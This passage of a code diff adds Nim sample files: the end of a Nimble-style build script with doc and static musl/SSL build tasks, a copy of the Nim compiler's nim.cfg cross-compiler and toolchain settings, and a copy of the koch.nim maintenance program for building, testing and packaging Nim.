+
+    echo "\nCreated binary: " & binFile
+
+task test, "Run tests via 'nim doc' and runnableExamples and tests in tests dir":
+  let
+    testDir = root / "tests"
+  selfExec("doc " & srcFile)
+  if dirExists(testDir):
+    let
+      testFiles = listFiles(testDir).filterIt(it.len >= 5 and it.endsWith(".nim"))
+    for t in testFiles:
+      selfExec "c -r " & t
+
+task docs, "Deploy doc html + search index to public/ directory":
+  let
+    deployDir = root / "public"
+    docOutBaseName = "index"
+    deployHtmlFile = deployDir / (docOutBaseName & ".html")
+    genDocCmd = "nim doc --index:on -o:$1 $2" % [deployHtmlFile, srcFile]
+    deployIdxFile = deployDir / (pkgName & ".idx")
+    sedCmd = "sed -i 's|" & pkgName & r"\.html|" & docOutBaseName & ".html|' " & deployIdxFile
+    genTheIndexCmd = "nim buildIndex -o:$1/theindex.html $1" % [deployDir]
+    deployJsFile = deployDir / "dochack.js"
+    docHackJsSource = "https://nim-lang.github.io/Nim/dochack.js" # devel docs dochack.js
+  mkDir(deployDir)
+  exec(genDocCmd)
+  exec(sedCmd) # Hack: replace <pkgName>.html with <docOutBaseName>.html in the .idx file
+  exec(genTheIndexCmd) # Generate theindex.html only after fixing the .idx file
+  if not fileExists(deployJsFile):
+    withDir deployDir:
+      exec("curl -LO " & docHackJsSource)
+
+## Define Switch Parsing
+# -d:musl
+when defined(musl):
+  var
+    muslGccPath: string
+  echo "  [-d:musl] Building a static binary using musl .."
+  muslGccPath = findExe("musl-gcc")
+  echo "debug: " & muslGccPath
+  if muslGccPath == "":
+    error("'musl-gcc' binary was not found in PATH.")
+  switch("passL", "-static")
+  switch("gcc.exe", muslGccPath)
+  switch("gcc.linkerexe", muslGccPath)
+  # -d:pcre
+  when defined(pcre):
+    if not existsFile(pcreLibFile):
+      selfExec "installPcre"    # Install PCRE in current dir if pcreLibFile is not found
+    switch("passC", "-I" & pcreIncludeDir) # So that pcre.h is found when running the musl task
+    switch("define", "usePcreHeader")
+    switch("passL", pcreLibFile)
+  # -d:libressl or -d:openssl
+  when defined(libressl) or defined(openssl):
+    switch("define", "ssl")     # Pass -d:ssl to nim
+    when defined(libressl):
+      let
+        sslLibFile = libreSslLibFile
+        cryptoLibFile = libreCryptoLibFile
+        sslIncludeDir = libreSslIncludeDir
+        sslLibDir = libreSslLibDir
+    when defined(openssl):
+      let
+        sslLibFile = openSslLibFile
+        cryptoLibFile = openCryptoLibFile
+        sslIncludeDir = openSslIncludeDir
+        sslLibDir = openSslLibDir
+
+    if (not existsFile(sslLibFile)) or (not existsFile(cryptoLibFile)):
+      # Install SSL in current dir if sslLibFile or cryptoLibFile is not found
+      when defined(libressl):
+        selfExec "installLibreSsl"
+      when defined(openssl):
+        selfExec "installOpenSsl"
+    switch("passC", "-I" & sslIncludeDir) # So that ssl.h is found when running the musl task
+    switch("passL", "-L" & sslLibDir)
+    switch("passL", "-lssl")
+    switch("passL", "-lcrypto") # This *has* to come *after* -lssl
+    switch("dynlibOverride", "libssl")
+    switch("dynlibOverride", "libcrypto")
diff --git a/samples/Nim/filenames/nim.cfg b/samples/Nim/filenames/nim.cfg
new file mode 100644
index 0000000000..7ce0d68c37
--- /dev/null
+++ b/samples/Nim/filenames/nim.cfg
@@ -0,0 +1,270 @@
+# from https://github.com/nim-lang/Nim/blob/devel/config/nim.cfg
+
+# Configuration file for the Nim Compiler.
+# (c) 2017 Andreas Rumpf
+
+# Feel free to edit the default values as you need.
+
+# You may set environment variables with
+# @putenv "key" "val"
+# Environment variables can be accessed like so:
+#  gcc.path %= "$CC_PATH"
+
+cc = gcc
+
+# additional options always passed to the compiler:
+--parallel_build: "0" # 0 to auto-detect number of processors
+
+hint[LineTooLong]=off
+#hint[XDeclaredButNotUsed]=off
+
+# Examples of how to setup a cross-compiler:
+
+# Cross-compiling for Raspberry Pi.
+# (This compiler is available in gcc-arm-linux-gnueabihf package on Ubuntu)
+arm.linux.gcc.exe = "arm-linux-gnueabihf-gcc"
+arm.linux.gcc.linkerexe = "arm-linux-gnueabihf-gcc"
+
+# For OpenWRT, you will also need to adjust PATH to point to your toolchain. 
+mips.linux.gcc.exe = "mips-openwrt-linux-gcc"
+mips.linux.gcc.linkerexe = "mips-openwrt-linux-gcc"
+
+
+path="$lib/deprecated/core"
+path="$lib/deprecated/pure"
+path="$lib/pure/collections"
+path="$lib/pure/concurrency"
+path="$lib/impure"
+path="$lib/wrappers"
+path="$lib/wrappers/linenoise"
+path="$lib/windows"
+path="$lib/posix"
+path="$lib/js"
+path="$lib/pure/unidecode"
+path="$lib/arch"
+path="$lib/core"
+path="$lib/pure"
+
+@if nimbabel:
+  nimblepath="$home/.nimble/pkgs/"
+  @if not windows:
+    nimblepath="/opt/nimble/pkgs/"
+  @else:
+    # TODO:
+  @end
+@end
+
+@if release or quick:
+  obj_checks:off
+  field_checks:off
+  range_checks:off
+  bound_checks:off
+  overflow_checks:off
+  assertions:off
+  stacktrace:off
+  linetrace:off
+  debugger:off
+  line_dir:off
+  dead_code_elim:on
+  @if nimHasNilChecks:
+    nilchecks:off
+  @end
+@end
+
+@if release:
+  opt:speed
+@end
+
+@if unix:
+  @if not bsd or haiku:
+    # -fopenmp
+    gcc.options.linker = "-ldl"
+    gcc.cpp.options.linker = "-ldl"
+    clang.options.linker = "-ldl"
+    clang.cpp.options.linker = "-ldl"
+    tcc.options.linker = "-ldl"
+  @end
+  @if bsd:
+    # BSD got posix_spawn only recently, so we deactivate it for osproc:
+    define:useFork
+    # at least NetBSD has problems with thread local storage:
+    tlsEmulation:on
+  @end
+  @if haiku:
+    # Haiku currently have problems with TLS
+    # https://dev.haiku-os.org/ticket/14342
+    tlsEmulation:on
+    gcc.options.linker = "-Wl,--as-needed -lnetwork"
+    gcc.cpp.options.linker = "-Wl,--as-needed -lnetwork"
+    clang.options.linker = "-Wl,--as-needed -lnetwork"
+    clang.cpp.options.linker = "-Wl,--as-needed -lnetwork"
+    tcc.options.linker = "-Wl,--as-needed -lnetwork"
+  @end
+@end
+
+@if android:
+  cc = clang
+  @if termux:
+    gcc.options.linker = "-landroid-glob"
+    gcc.cpp.options.linker = "-landroid-glob"
+    clang.options.linker = "-landroid-glob"
+    clang.cpp.options.linker = "-landroid-glob"
+    tcc.options.linker = "-landroid-glob"
+  @end
+@end
+
+@if nintendoswitch:
+  cc = "switch_gcc"
+  switch_gcc.options.linker = "-g -march=armv8-a -mtune=cortex-a57 -mtp=soft -fPIE"
+  switch_gcc.cpp.options.linker = "-g -march=armv8-a -mtune=cortex-a57 -mtp=soft -fPIE"
+  switch_gcc.options.always = "-g -Wall -O2 -ffunction-sections -march=armv8-a -mtune=cortex-a57 -mtp=soft -fPIE -D__SWITCH__"
+  switch_gcc.cpp.options.always = "-g -Wall -O2 -ffunction-sections -march=armv8-a -mtune=cortex-a57 -mtp=soft -fPIE -D__SWITCH__ -fno-rtti -fno-exceptions -std=gnu++11"
+@end
+
+# Configuration for the Intel C/C++ compiler:
+@if windows:
+  icl.options.speed = "/Ox /arch:SSE2"
+  icl.options.always = "/nologo"
+@end
+
+# Configuration for the GNU C/C++ compiler:
+@if windows:
+  #gcc.path = r"$nim\dist\mingw\bin"
+  @if gcc or tcc:
+    tlsEmulation:on
+  @end
+@end
+
+@if macosx or freebsd:
+  cc = clang
+  tlsEmulation:on
+  gcc.options.always = "-w"
+  gcc.cpp.options.always = "-w -fpermissive"
+@elif windows:
+  gcc.options.always = "-w -mno-ms-bitfields"
+  gcc.cpp.options.always = "-w -fpermissive -mno-ms-bitfields"
+@else:
+  gcc.options.always = "-w"
+  gcc.cpp.options.always = "-w -fpermissive"
+@end
+
+# Configuration for Objective-C compiler:
+#
+# Options for GNUStep. GNUStep configuration varies wildly, so you'll probably
+# have to add additional compiler and linker flags on a per-project basis.
+gcc.objc.options.linker = "-lobjc -lgnustep-base"
+llvm_gcc.objc.options.linker = "-lobjc -lgnustep-base"
+clang.objc.options.linker = "-lobjc -lgnustep-base"
+
+# Options for Mac OS X. Mac OS X uses its own Objective-C stack that is
+# totally different from GNUStep.
+@if macosx:
+  gcc.objc.options.linker = "-framework Foundation"
+  llvm_gcc.objc.options.linker = "-framework Foundation"
+  clang.objc.options.linker = "-framework Foundation"
+@end
+
+# Options for FreeBSD, OpenBSD, NetBSD linker to add locations for searching
+# shared libraries.
+@if freebsd or openbsd or netbsd:
+  gcc.options.linker = "-Wl,-rpath=.:/usr/local/lib:/usr/pkg/lib:/usr/X11R6/lib"
+  gcc.cpp.options.linker = "-Wl,-rpath=.:/usr/local/lib:/usr/pkg/lib:/usr/X11R6/lib"
+  llvm_gcc.options.linker = "-Wl,-rpath=.:/usr/local/lib:/usr/pkg/lib:/usr/X11R6/lib"
+  llvm_gcc.cpp.options.linker = "-Wl,-rpath=.:/usr/local/lib:/usr/pkg/lib:/usr/X11R6/lib"
+  clang.options.linker = "-Wl,-rpath=.:/usr/local/lib:/usr/pkg/lib:/usr/X11R6/lib"
+  clang.cpp.options.linker = "-Wl,-rpath=.:/usr/local/lib:/usr/pkg/lib:/usr/X11R6/lib"
+@end
+
+# Configuration for the VxWorks
+# This has been tested with VxWorks 6.9 only
+@if vxworks:
+  # For now we only support compiling RTPs applications (i.e. no DKMs)
+  gcc.options.always = "-mrtp -fno-strict-aliasing -D_C99 -D_HAS_C9X -std=c99 -fasm -Wall -Wno-write-strings"
+  # The linker config must add the VxWorks common library for the selected
+  # processor which is usually found in:
+  # "$WIND_BASE/target/lib/usr/lib/PROCESSOR_FAMILY/PROCESSOR_TYPE/common",
+  # where PROCESSOR_FAMILY and PROCESSOR_TYPE are those supported by the VxWorks
+  # compiler (e.g. ppc/PPC32 or mips/MIPSI64, etc)
+  # For now we only support the PowerPC CPU
+  gcc.options.linker %= "-L $WIND_BASE/target/lib/usr/lib/ppc/PPC32/common -mrtp -fno-strict-aliasing -D_C99 -D_HAS_C9X -std=c99 -fasm -Wall -Wno-write-strings"
+@end
+
+gcc.options.speed = "-O3 -fno-strict-aliasing"
+gcc.options.size = "-Os"
+@if windows:
+  gcc.options.debug = "-g3 -O0 -gdwarf-3"
+@else:
+  gcc.options.debug = "-g3 -O0"
+@end
+gcc.cpp.options.speed = "-O3 -fno-strict-aliasing"
+gcc.cpp.options.size = "-Os"
+gcc.cpp.options.debug = "-g3 -O0"
+#passl = "-pg"
+
+# Configuration for the LLVM GCC compiler:
+llvm_gcc.options.debug = "-g"
+llvm_gcc.options.always = "-w"
+llvm_gcc.options.speed = "-O2"
+llvm_gcc.options.size = "-Os"
+
+# Configuration for the LLVM CLang compiler:
+clang.options.debug = "-g"
+clang.options.always = "-w"
+clang.options.speed = "-O3"
+clang.options.size = "-Os"
+
+# Configuration for the Visual C/C++ compiler:
+vcc.exe =     "vccexe.exe"
+vcc.cpp.exe = "vccexe.exe"
+vcc.linkerexe =     "vccexe.exe"
+vcc.cpp.linkerexe = "vccexe.exe"
+
+# set the options for specific platforms:
+vcc.options.always =      "/nologo"
+@if release:
+  # no debug symbols in release builds
+@else:
+  vcc.options.always %= "${vcc.options.always} /Z7" # Get VCC to output full debug symbols in the obj file
+@end
+vcc.cpp.options.always %=  "${vcc.options.always} /EHsc"
+vcc.options.linker =      "/nologo /DEBUG /Zi /F33554432" # set the stack size to 32 MiB
+vcc.cpp.options.linker %=  "${vcc.options.linker}"
+@if i386:
+vcc.options.always %=      "--platform:x86 ${vcc.options.always}"
+vcc.cpp.options.always %=  "--platform:x86 ${vcc.cpp.options.always}"
+vcc.options.linker %=      "--platform:x86 ${vcc.options.linker}"
+vcc.cpp.options.linker %=  "--platform:x86 ${vcc.cpp.options.linker}"
+@elif amd64:
+vcc.options.always %=      "--platform:amd64 ${vcc.options.always}"
+vcc.cpp.options.always %=  "--platform:amd64 ${vcc.cpp.options.always}"
+vcc.options.linker %=      "--platform:amd64 ${vcc.options.linker}"
+vcc.cpp.options.linker %=  "--platform:amd64 ${vcc.cpp.options.linker}"
+@elif arm:
+vcc.options.always %=      "--platform:arm ${vcc.options.always}"
+vcc.cpp.options.always %=  "--platform:arm ${vcc.cpp.options.always}"
+vcc.options.linker %=      "--platform:arm ${vcc.options.linker}"
+vcc.cpp.options.linker %=  "--platform:arm ${vcc.cpp.options.linker}"
+@end
+
+vcc.options.debug =     "/Od"
+vcc.cpp.options.debug = "/Od"
+vcc.options.speed =     "/O2"
+vcc.cpp.options.speed = "/O2"
+vcc.options.size =     "/O1"
+vcc.cpp.options.size = "/O1"
+
+# Configuration for the Tiny C Compiler:
+tcc.options.always = "-w"
+
+# Configuration for the Genode toolchain
+@if genode:
+  gcc.path = "/usr/local/genode-gcc/bin"
+  gcc.cpp.options.always = "-D__GENODE__ -fno-stack-protector"
+  @if i386 or amd64:
+    gcc.exe = "genode-x86-gcc"
+    gcc.cpp.exe = "genode-x86-g++"
+  @elif arm:
+    gcc.exe = "genode-arm-gcc"
+    gcc.cpp.exe = "genode-arm-g++"
+  @end
+@end
diff --git a/samples/Nim/foo.nim b/samples/Nim/foo.nim
new file mode 100644
index 0000000000..66d5165f11
--- /dev/null
+++ b/samples/Nim/foo.nim
@@ -0,0 +1,556 @@
+# from https://github.com/nim-lang/Nim/blob/devel/koch.nim
+
+#
+#
+#         Maintenance program for Nim
+#        (c) Copyright 2017 Andreas Rumpf
+#
+#    See the file "copying.txt", included in this
+#    distribution, for details about the copyright.
+#
+#    See doc/koch.txt for documentation.
+#
+
+when defined(gcc) and defined(windows):
+  when defined(x86):
+    {.link: "icons/koch.res".}
+  else:
+    {.link: "icons/koch_icon.o".}
+
+when defined(amd64) and defined(windows) and defined(vcc):
+  {.link: "icons/koch-amd64-windows-vcc.res".}
+when defined(i386) and defined(windows) and defined(vcc):
+  {.link: "icons/koch-i386-windows-vcc.res".}
+
+import
+  os, strutils, parseopt, osproc, streams
+
+import tools / kochdocs
+
+const VersionAsString = system.NimVersion
+
+const
+  HelpText = """
++-----------------------------------------------------------------+
+|         Maintenance program for Nim                             |
+|             Version $1|
+|             (c) 2017 Andreas Rumpf                              |
++-----------------------------------------------------------------+
+Build time: $2, $3
+
+Usage:
+  koch [options] command [options for command]
+Options:
+  --help, -h               shows this help and quits
+  --latest                 bundle the installers with a bleeding edge Nimble
+  --stable                 bundle the installers with a stable Nimble
+Possible Commands:
+  boot [options]           bootstraps with given command line options
+  distrohelper [bindir]    helper for distro packagers
+  tools                    builds Nim related tools
+  nimble                   builds the Nimble tool
+Boot options:
+  -d:release               produce a release version of the compiler
+  -d:useLinenoise          use the linenoise library for interactive mode
+                           (not needed on Windows)
+
+Commands for core developers:
+  docs [options]           generates the full documentation
+  csource -d:release       builds the C sources for installation
+  pdf                      builds the PDF documentation
+  zip                      builds the installation zip package
+  xz                       builds the installation tar.xz package
+  testinstall              test tar.xz package; Unix only!
+  tests [options]          run the testsuite (run a subset of tests by
+                           specifying a category, e.g. `tests cat async`)
+  temp options             creates a temporary compiler for testing
+  pushcsource              push generated C sources to its repo
+Web options:
+  --googleAnalytics:UA-... add the given google analytics code to the docs. To
+                           build the official docs, use UA-48159761-1
+"""
+
+template withDir(dir, body) =
+  let old = getCurrentDir()
+  try:
+    setCurrentDir(dir)
+    body
+  finally:
+    setCurrentdir(old)
+
+proc tryExec(cmd: string): bool =
+  echo(cmd)
+  result = execShellCmd(cmd) == 0
+
+proc safeRemove(filename: string) =
+  if existsFile(filename): removeFile(filename)
+
+proc overwriteFile(source, dest: string) =
+  safeRemove(dest)
+  moveFile(source, dest)
+
+proc copyExe(source, dest: string) =
+  safeRemove(dest)
+  copyFile(dest=dest, source=source)
+  inclFilePermissions(dest, {fpUserExec})
+
+const
+  compileNimInst = "tools/niminst/niminst"
+
+proc csource(args: string) =
+  nimexec(("cc $1 -r $3 --var:version=$2 --var:mingw=none csource " &
+           "--main:compiler/nim.nim compiler/installer.ini $1") %
+       [args, VersionAsString, compileNimInst])
+
+proc bundleNimbleSrc(latest: bool) =
+  ## bunldeNimbleSrc() bundles a specific Nimble commit with the tarball. We
+  ## always bundle the latest official release.
+  if not dirExists("dist/nimble/.git"):
+    exec("git clone https://github.com/nim-lang/nimble.git dist/nimble")
+  if not latest:
+    withDir("dist/nimble"):
+      exec("git checkout -f stable")
+      exec("git pull")
+
+proc bundleNimbleExe(latest: bool) =
+  bundleNimbleSrc(latest)
+  # now compile Nimble and copy it to $nim/bin for the installer.ini
+  # to pick it up:
+  nimexec("c -d:release --nilseqs:on dist/nimble/src/nimble.nim")
+  copyExe("dist/nimble/src/nimble".exe, "bin/nimble".exe)
+
+proc buildNimble(latest: bool) =
+  # old installations created nim/nimblepkg/*.nim files. We remove these
+  # here so that it cannot cause problems (nimble bug #306):
+  if dirExists("bin/nimblepkg"):
+    removeDir("bin/nimblepkg")
+  # if koch is used for a tar.xz, build the dist/nimble we shipped
+  # with the tarball:
+  var installDir = "dist/nimble"
+  if not latest and dirExists(installDir) and not dirExists("dist/nimble/.git"):
+    discard "don't do the git dance"
+  else:
+    if not dirExists("dist/nimble/.git"):
+      if dirExists(installDir):
+        var id = 0
+        while dirExists("dist/nimble" & $id):
+          inc id
+        installDir = "dist/nimble" & $id
+      exec("git clone https://github.com/nim-lang/nimble.git " & installDir)
+    withDir(installDir):
+      if latest:
+        exec("git checkout -f master")
+      else:
+        exec("git checkout -f stable")
+      exec("git pull")
+  nimexec("c --noNimblePath -p:compiler --nilseqs:on -d:release " & installDir / "src/nimble.nim")
+  copyExe(installDir / "src/nimble".exe, "bin/nimble".exe)
+
+proc bundleNimsuggest(buildExe: bool) =
+  if buildExe:
+    nimexec("c --noNimblePath -d:release -p:compiler nimsuggest/nimsuggest.nim")
+    copyExe("nimsuggest/nimsuggest".exe, "bin/nimsuggest".exe)
+    removeFile("nimsuggest/nimsuggest".exe)
+
+proc buildVccTool() =
+  nimexec("c -o:bin/vccexe.exe tools/vccenv/vccexe")
+
+proc bundleWinTools() =
+  nimexec("c tools/finish.nim")
+  copyExe("tools/finish".exe, "finish".exe)
+  removeFile("tools/finish".exe)
+  buildVccTool()
+  nimexec("c -o:bin/nimgrab.exe -d:ssl tools/nimgrab.nim")
+  nimexec("c -o:bin/nimgrep.exe tools/nimgrep.nim")
+  when false:
+    # not yet a tool worth including
+    nimexec(r"c --cc:vcc --app:gui -o:bin\downloader.exe -d:ssl --noNimblePath " &
+            r"--path:..\ui tools\downloader.nim")
+
+proc zip(latest: bool; args: string) =
+  bundleNimbleExe(latest)
+  bundleNimsuggest(true)
+  bundleWinTools()
+  nimexec("cc -r $2 --var:version=$1 --var:mingw=none --main:compiler/nim.nim scripts compiler/installer.ini" %
+       [VersionAsString, compileNimInst])
+  exec("$# --var:version=$# --var:mingw=none --main:compiler/nim.nim zip compiler/installer.ini" %
+       ["tools/niminst/niminst".exe, VersionAsString])
+
+proc ensureCleanGit() =
+   let (outp, status) = osproc.execCmdEx("git diff")
+   if outp.len != 0:
+     quit "Not a clean git repository; 'git diff' not empty!"
+   if status != 0:
+     quit "Not a clean git repository; 'git diff' returned non-zero!"
+
+proc xz(latest: bool; args: string) =
+  ensureCleanGit()
+  bundleNimbleSrc(latest)
+  bundleNimsuggest(false)
+  nimexec("cc -r $2 --var:version=$1 --var:mingw=none --main:compiler/nim.nim scripts compiler/installer.ini" %
+       [VersionAsString, compileNimInst])
+  exec("$# --var:version=$# --var:mingw=none --main:compiler/nim.nim xz compiler/installer.ini" %
+       ["tools" / "niminst" / "niminst".exe, VersionAsString])
+
+proc buildTool(toolname, args: string) =
+  nimexec("cc $# $#" % [args, toolname])
+  copyFile(dest="bin" / splitFile(toolname).name.exe, source=toolname.exe)
+
+proc buildTools(latest: bool) =
+  nimexec "c --noNimblePath -p:compiler -d:release -o:" & ("bin/nimsuggest".exe) &
+      " nimsuggest/nimsuggest.nim"
+
+  nimexec "c -d:release -o:" & ("bin/nimgrep".exe) & " tools/nimgrep.nim"
+  when defined(windows): buildVccTool()
+
+  nimexec "c -o:" & ("bin/nimpretty".exe) & " nimpretty/nimpretty.nim"
+
+  buildNimble(latest)
+
+proc nsis(latest: bool; args: string) =
+  bundleNimbleExe(latest)
+  bundleNimsuggest(true)
+  bundleWinTools()
+  # make sure we have generated the niminst executables:
+  buildTool("tools/niminst/niminst", args)
+  #buildTool("tools/nimgrep", args)
+  # produce 'nim_debug.exe':
+  #exec "nim c compiler" / "nim.nim"
+  #copyExe("compiler/nim".exe, "bin/nim_debug".exe)
+  exec(("tools" / "niminst" / "niminst --var:version=$# --var:mingw=mingw$#" &
+        " nsis compiler/installer.ini") % [VersionAsString, $(sizeof(pointer)*8)])
+
+proc geninstall(args="") =
+  nimexec("cc -r $# --var:version=$# --var:mingw=none --main:compiler/nim.nim scripts compiler/installer.ini $#" %
+       [compileNimInst, VersionAsString, args])
+
+proc install(args: string) =
+  geninstall()
+  exec("sh ./install.sh $#" % args)
+
+when false:
+  proc web(args: string) =
+    nimexec("js tools/dochack/dochack.nim")
+    nimexec("cc -r tools/nimweb.nim $# web/website.ini --putenv:nimversion=$#" %
+        [args, VersionAsString])
+
+  proc website(args: string) =
+    nimexec("cc -r tools/nimweb.nim $# --website web/website.ini --putenv:nimversion=$#" %
+        [args, VersionAsString])
+
+  proc pdf(args="") =
+    exec("$# cc -r tools/nimweb.nim $# --pdf web/website.ini --putenv:nimversion=$#" %
+        [findNim(), args, VersionAsString], additionalPATH=findNim().splitFile.dir)
+
+# -------------- boot ---------------------------------------------------------
+
+proc findStartNim: string =
+  # we try several things before giving up:
+  # * bin/nim
+  # * $PATH/nim
+  # If these fail, we try to build nim with the "build.(sh|bat)" script.
+  var nim = "nim".exe
+  result = "bin" / nim
+  if existsFile(result): return
+  for dir in split(getEnv("PATH"), PathSep):
+    if existsFile(dir / nim): return dir / nim
+
+  when defined(Posix):
+    const buildScript = "build.sh"
+    if existsFile(buildScript):
+      if tryExec("./" & buildScript): return "bin" / nim
+  else:
+    const buildScript = "build.bat"
+    if existsFile(buildScript):
+      if tryExec(buildScript): return "bin" / nim
+
+  echo("Found no nim compiler and every attempt to build one failed!")
+  quit("FAILURE")
+
+proc thVersion(i: int): string =
+  result = ("compiler" / "nim" & $i).exe
+
+proc boot(args: string) =
+  var output = "compiler" / "nim".exe
+  var finalDest = "bin" / "nim".exe
+  # default to use the 'c' command:
+  let bootOptions = if args.len == 0 or args.startsWith("-"): "c" else: ""
+  let smartNimcache = (if "release" in args: "nimcache/r_" else: "nimcache/d_") &
+                      hostOs & "_" & hostCpu
+
+  copyExe(findStartNim(), 0.thVersion)
+  for i in 0..2:
+    echo "iteration: ", i+1
+    exec i.thVersion & " $# $# --nimcache:$# compiler" / "nim.nim" % [bootOptions, args,
+        smartNimcache]
+    if sameFileContent(output, i.thVersion):
+      copyExe(output, finalDest)
+      echo "executables are equal: SUCCESS!"
+      return
+    copyExe(output, (i+1).thVersion)
+  copyExe(output, finalDest)
+  when not defined(windows): echo "[Warning] executables are still not equal"
+
+# -------------- clean --------------------------------------------------------
+
+const
+  cleanExt = [
+    ".ppu", ".o", ".obj", ".dcu", ".~pas", ".~inc", ".~dsk", ".~dpr",
+    ".map", ".tds", ".err", ".bak", ".pyc", ".exe", ".rod", ".pdb", ".idb",
+    ".idx", ".ilk"
+  ]
+  ignore = [
+    ".bzrignore", "nim", "nim.exe", "koch", "koch.exe", ".gitignore"
+  ]
+
+proc cleanAux(dir: string) =
+  for kind, path in walkDir(dir):
+    case kind
+    of pcFile:
+      var (_, name, ext) = splitFile(path)
+      if ext == "" or cleanExt.contains(ext):
+        if not ignore.contains(name):
+          echo "removing: ", path
+          removeFile(path)
+    of pcDir:
+      case splitPath(path).tail
+      of "nimcache":
+        echo "removing dir: ", path
+        removeDir(path)
+      of "dist", ".git", "icons": discard
+      else: cleanAux(path)
+    else: discard
+
+proc removePattern(pattern: string) =
+  for f in walkFiles(pattern):
+    echo "removing: ", f
+    removeFile(f)
+
+proc clean(args: string) =
+  removePattern("web/*.html")
+  removePattern("doc/*.html")
+  cleanAux(getCurrentDir())
+  for kind, path in walkDir(getCurrentDir() / "build"):
+    if kind == pcDir:
+      echo "removing dir: ", path
+      removeDir(path)
+
+# -------------- builds a release ---------------------------------------------
+
+proc winReleaseArch(arch: string) =
+  doAssert arch in ["32", "64"]
+  let cpu = if arch == "32": "i386" else: "amd64"
+
+  template withMingw(path, body) =
+    let prevPath = getEnv("PATH")
+    putEnv("PATH", (if path.len > 0: path & PathSep else: "") & prevPath)
+    try:
+      body
+    finally:
+      putEnv("PATH", prevPath)
+
+  withMingw r"..\mingw" & arch & r"\bin":
+    # Rebuilding koch is necessary because it uses its pointer size to
+    # determine which mingw link to put in the NSIS installer.
+    nimexec "c --cpu:$# koch" % cpu
+    exec "koch boot -d:release --cpu:$#" % cpu
+    exec "koch --latest zip -d:release"
+    overwriteFile r"build\nim-$#.zip" % VersionAsString,
+             r"web\upload\download\nim-$#_x$#.zip" % [VersionAsString, arch]
+
+proc winRelease*() =
+  # Now used from "tools/winrelease" and not directly supported by koch
+  # anymore!
+  # Build -docs file:
+  when true:
+    buildDocs(gaCode)
+    withDir "web/upload/" & VersionAsString:
+      exec "7z a -tzip docs-$#.zip *.html" % VersionAsString
+    overwriteFile "web/upload/$1/docs-$1.zip" % VersionAsString,
+                  "web/upload/download/docs-$1.zip" % VersionAsString
+  when true:
+    csource("-d:release")
+  when sizeof(pointer) == 4:
+    winReleaseArch "32"
+  when sizeof(pointer) == 8:
+    winReleaseArch "64"
+
+# -------------- tests --------------------------------------------------------
+
+template `|`(a, b): string = (if a.len > 0: a else: b)
+
+proc tests(args: string) =
+  # we compile the tester with taintMode:on to have a basic
+  # taint mode test :-)
+  nimexec "cc --taintMode:on --opt:speed testament/tester"
+  # Since tests take a long time (on my machine), and we want to defy Murhpys
+  # law - lets make sure the compiler really is freshly compiled!
+  nimexec "c --lib:lib -d:release --opt:speed compiler/nim.nim"
+  let tester = quoteShell(getCurrentDir() / "testament/tester".exe)
+  let success = tryExec tester & " " & (args|"all")
+  if not existsEnv("TRAVIS") and not existsEnv("APPVEYOR"):
+    exec tester & " html"
+  if not success:
+    quit("tests failed", QuitFailure)
+
+proc temp(args: string) =
+  proc splitArgs(a: string): (string, string) =
+    # every --options before the command (indicated by starting
+    # with not a dash) is part of the bootArgs, the rest is part
+    # of the programArgs:
+    let args = os.parseCmdLine a
+    result = ("", "")
+    var i = 0
+    while i < args.len and args[i][0] == '-':
+      result[0].add " " & quoteShell(args[i])
+      inc i
+    while i < args.len:
+      result[1].add " " & quoteShell(args[i])
+      inc i
+
+  var output = "compiler" / "nim".exe
+  var finalDest = "bin" / "nim_temp".exe
+  # 125 is the magic number to tell git bisect to skip the current
+  # commit.
+  let (bootArgs, programArgs) = splitArgs(args)
+  let nimexec = findNim()
+  exec(nimexec & " c -d:debug --debugger:native " & bootArgs & " compiler" / "nim", 125)
+  copyExe(output, finalDest)
+  if programArgs.len > 0: exec(finalDest & " " & programArgs)
+
+proc xtemp(cmd: string) =
+  let d = getAppDir()
+  copyExe(d / "bin" / "nim".exe, d / "bin" / "nim_backup".exe)
+  try:
+    withDir(d):
+      temp""
+    copyExe(d / "bin" / "nim_temp".exe, d / "bin" / "nim".exe)
+    exec(cmd)
+  finally:
+    copyExe(d / "bin" / "nim_backup".exe, d / "bin" / "nim".exe)
+
+proc pushCsources() =
+  if not dirExists("../csources/.git"):
+    quit "[Error] no csources git repository found"
+  csource("-d:release")
+  let cwd = getCurrentDir()
+  try:
+    copyDir("build/c_code", "../csources/c_code")
+    copyFile("build/build.sh", "../csources/build.sh")
+    copyFile("build/build.bat", "../csources/build.bat")
+    copyFile("build/build64.bat", "../csources/build64.bat")
+    copyFile("build/makefile", "../csources/makefile")
+
+    setCurrentDir("../csources")
+    for kind, path in walkDir("c_code"):
+      if kind == pcDir:
+        exec("git add " & path / "*.c")
+    exec("git commit -am \"updated csources to version " & NimVersion & "\"")
+    exec("git push origin master")
+    exec("git tag -am \"Version $1\" v$1" % NimVersion)
+    exec("git push origin v$1" % NimVersion)
+  finally:
+    setCurrentDir(cwd)
+
+proc testUnixInstall(cmdLineRest: string) =
+  csource("-d:release " & cmdLineRest)
+  xz(false, cmdLineRest)
+  let oldCurrentDir = getCurrentDir()
+  try:
+    let destDir = getTempDir()
+    copyFile("build/nim-$1.tar.xz" % VersionAsString,
+             destDir / "nim-$1.tar.xz" % VersionAsString)
+    setCurrentDir(destDir)
+    execCleanPath("tar -xJf nim-$1.tar.xz" % VersionAsString)
+    setCurrentDir("nim-$1" % VersionAsString)
+    execCleanPath("sh build.sh")
+    # first test: try if './bin/nim --version' outputs something sane:
+    let output = execProcess("./bin/nim --version").splitLines
+    if output.len > 0 and output[0].contains(VersionAsString):
+      echo "Version check: success"
+      execCleanPath("./bin/nim c koch.nim")
+      execCleanPath("./koch boot -d:release", destDir / "bin")
+      # check the docs build:
+      execCleanPath("./koch docs", destDir / "bin")
+      # check nimble builds:
+      execCleanPath("./koch --latest tools")
+      # check the tests work:
+      putEnv("NIM_EXE_NOT_IN_PATH", "NOT_IN_PATH")
+      execCleanPath("./koch tests", destDir / "bin")
+      #execCleanPath("./koch tests cat newconfig", destDir / "bin")
+    else:
+      echo "Version check: failure"
+  finally:
+    setCurrentDir oldCurrentDir
+
+proc valgrind(cmd: string) =
+  # somewhat hacky: '=' sign means "pass to valgrind" else "pass to Nim"
+  let args = parseCmdLine(cmd)
+  var nimcmd = ""
+  var valcmd = ""
+  for i, a in args:
+    if i == args.len-1:
+      # last element is the filename:
+      valcmd.add ' '
+      valcmd.add changeFileExt(a, ExeExt)
+      nimcmd.add ' '
+      nimcmd.add a
+    elif '=' in a:
+      valcmd.add ' '
+      valcmd.add a
+    else:
+      nimcmd.add ' '
+      nimcmd.add a
+  exec("nim c" & nimcmd)
